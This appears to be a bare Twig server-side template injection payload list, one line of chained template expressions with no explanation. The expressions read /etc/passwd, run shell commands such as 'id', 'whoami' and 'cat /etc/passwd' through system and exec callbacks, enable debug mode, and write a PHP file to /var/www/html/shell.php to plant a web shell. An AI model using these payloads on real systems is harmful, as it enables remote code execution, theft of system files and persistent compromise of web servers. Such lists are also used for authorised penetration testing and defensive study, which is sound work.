Payload:
{{'/etc/passwd'|file_excerpt(1,30)}}{{app.request.files.get(1).__construct('/etc/passwd','')}}{{app.request.files.get(1).openFile.fread(99)}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}{{_self.env.enableDebug()}}{{_self.env.isDebug()}}{{["id"]|map("system")|join(",")}}{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}{{["id",0]|sort("system")|join(",")}}{{["id"]|filter("system")|join(",")}}{{[0,0]|reduce("system","id")|join(",")}}{{['cat /etc/passwd']|filter('system')}}
